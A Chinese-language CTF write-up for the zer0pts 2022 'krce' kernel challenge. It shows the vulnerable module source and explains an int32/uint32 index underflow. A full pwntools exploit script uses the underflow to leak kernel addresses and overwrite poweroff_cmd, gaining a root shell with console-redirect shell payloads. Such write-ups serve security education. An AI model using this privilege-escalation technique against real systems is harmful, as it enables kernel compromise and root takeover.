zer0pt ctf 2022 krce writeup

0x00 简介

  题目给出了内核模块 buffer.ko 和与之交互的 interface。和常规的内核题目不同,我们无法拿到完整的用户空间执行权限,只能通过 interface 与内核交互。所以这个题目的最大挑战是回到用户态后,如何拿到 shell。

  我们在内核空间利用部分使用了常规的解法: 将漏洞转化为任意地址读写,覆盖 poweroff_cmd 然后执行 __orderly_poweroff ,从而任意命令执行 (并不完全任意,在下文详述)。在最后的命令执行中出现了一些奇妙问题,让我们思考了很久,不过我们最后还是成功地拿到了 root shell。

0x01 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
typedef struct {
uint32_t index;
uint32_t size;
char *data;
} request_t;

char *buffer[BUF_NUM];

long buffer_new(uint32_t index, uint32_t size) {
if (index >= BUF_NUM)
return -EINVAL;

if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL)))
return -EINVAL;

return 0;
}

long buffer_del(uint32_t index) {
if (index >= BUF_NUM)
return -EINVAL;

if (!buffer[index])
return -EINVAL;

kfree(buffer[index]);
buffer[index] = NULL;

return 0;
}

long buffer_edit(int32_t index, char *data, int32_t size) {
if (index >= BUF_NUM)
return -EINVAL;

if (!buffer[index])
return -EINVAL;

if (copy_from_user(buffer[index], data, size))
return -EINVAL;

return 0;
}

long buffer_show(int32_t index, char *data, int32_t size) {
if (index >= BUF_NUM)
return -EINVAL;

if (!buffer[index])
return -EINVAL;

if (copy_to_user(data, buffer[index], size))
return -EINVAL;

return 0;
}

  在 buffer_editbuffer_show 函数中有明显的越界读写,可是越界读写只包括堆块后的物理直接映射区 (direct mapping area)。因为用户进程的内存页也会被映射到这块区域,我们考虑了直接溢出到用户进程空间的可能性。但是我们发现输入和输出十分缓慢,根本无法在限定时间内泄露或覆盖将近 30M 的空间。所以我们重新审计了代码。

  虽然在 buffer_new 函数中 index 使用的是 uint32_t 类型,但在后面的 buffer_editbuffer_show 中却使用了 int32_t 类型。这样就会导致更为严重的数组下溢,此时内存布局如下 (without kalsr)。

0x02 利用

  在 buffer 前有指向内核基地址的 link,我们可以通过其泄露内核基地址 (kernel base) 和模块基地址 (kmod base) 。当然,如果有必要我们也可以泄露出内核堆地址。

  之后我们通过地址 0xffffffffc0002348 所指向的 0xffffffffc0002350 将后面的部分原样覆盖,直到 buffer。将 buffer 覆盖为我们想要的地址之后就可以实现内核空间的任意读写 (arb read/write),当然我们现在已经只需要任意地址写 (arb write) 就可以了。

  我们选择覆盖 poweroff_cmd"/bin/sh\x00" ,并且覆盖 buffer 模块的 fops 虚表的 ioctl 函数为 __orderly_poweroff。这样我们在下次执行 ioctl 时就能执行 run_cmd("/bin/sh") 以 root 执行 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}

return ret;
}

  到目前为止还一切顺利,一般来说到了这一步已经可以算做完成了利用了。但是… 现在的问题是我们没有办法和 shell 交互…

  我们想到我们的终端设备是 /dev/console。所以可以通过 /bin/sh -i <> /dev/console >&0 2>&1 来重定向输入输出。然而测试之后发现仍然不行。我们尝试了很多重定向的 trick 后发现执行 /bin/sh -c sh</dev/console>/dev/console 可以显示出终端提示符 “#”,但是只能执行一条命令并且有时可以看到命令输出有时看不到。最后,我们发现是我们输入命令的同时会让 interface 进程结束,并执行 poweroff -f,打印输出和 poweroff 存在竞争…

  最后… 我们拿到 shell 后首先执行了 rm /sbin/poweroff

0x03 EXP

请原谅我不太想美化脚本了,所以你看到的是一个很丑陋的脚本…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3

from pwn import *
import codecs
import os
import subprocess

binary = "./interface"

context(os="linux", arch="amd64", log_level='info')

def add(index, size):
p.sendlineafter(">", "1")
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))

def edit(index, size, data):
p.sendlineafter(">", "2")
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))
# print(data)
# data_ = "".join([hex(ord(x))[2:] for x in data])
p.sendlineafter("data: ", data)

def show(index, size):
p.sendlineafter(">", "3")
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))

def delete(index):
p.sendlineafter(">", "4")
p.sendlineafter("index: ", str(index))

# p = process("./start-qemu.sh")
p = remote("pwn3.ctf.zer0pts.com", 9009)
cmd = p.recvline()

def run(cmd, *args, **kwargs):
return subprocess.run(cmd, shell=True, universal_newlines=True, executable='/bin/bash', capture_output=True, *args, **kwargs)
asi = run(cmd).stdout
p.sendline(asi)


p.recvuntil(b"4. delete")

add(0, 0x68)
show(0xffffffe6, 0x100)
p.recvuntil(b"[+] Data: ")
s = []
for i in range(0x100):
s.append(p.recv(1))

s = b"".join(s)
s = s.split(b' ')
# s = [int(x, 16) for x in s]
i = 0
leak = []
while(i < len(s)):
x = b"".join(s[i:i+8][::-1])
leak.append(int(x, 16))
i+=8

mod_base = leak[0]- 0x2330
kernel_base = leak[2] - 0xeb47b0
print("[+] mod_base: 0x%x" % mod_base)
print("[+] kernel_base: 0x%x" % kernel_base)


show(0xffffffe9, 0x200)

p.recvuntil(b"[+] Data: ")
s = []
for i in range(0x400):
s.append(p.recv(1))

s = b"".join(s)
s = s.split(b' ')
# s = [int(x, 16) for x in s]
i = 0
leak = []
while(i < len(s)):
x = b"".join(s[i:i+8][::-1])
leak.append(int(x, 16))
i+=8

# print([hex(i) for i in leak])

# print(len(leak))

s = b''.join(s)

# print(s[:22*8*2])

def addr_to_laji(addr):
# return "".join([hex(i)[2:] for i in p64(addr)]).encode()
return codecs.encode(p64(addr),'hex')

payload = s[:22*8*2] + addr_to_laji(kernel_base + 0xE37CC0) + addr_to_laji(mod_base+0x2050)
# payload = "010203040506070809"
# edit(0, len(payload)//2, payload)
edit(0xffffffe9, len(payload) //2, payload)

# payload = codecs.encode(b'/bin/sh -c \"/bin/sh -i <> /dev/console >&0 2>&1\"\x00','hex')
# payload = codecs.encode(b"/bin/ls -al /root",'hex')
# payload = codecs.encode(b'/root/a.sh\x00','hex')
# payload = codecs.encode(b'/bin/sh -c /bin/sh${IFS}-i${IFS}<>${IFS}/dev/console${IFS}>&0${IFS}2>&1\x00','hex')
# payload = codecs.encode(b'/bin/sh -c ls>/dev/console\x00','hex') # working
payload = codecs.encode(b'/bin/sh -c sh</dev/console>/dev/console\x00','hex') # working

# after interactive, we (1) trigger a ioctl, (2) send a integer to make interface happy, and (3) kill it with sigstop so we have a persistant shell

edit(0, len(payload) //2, payload)

payload = addr_to_laji(kernel_base + 0x073240)
edit(1, len(payload) //2, payload)

# we trigger ioctl manually
p.interactive()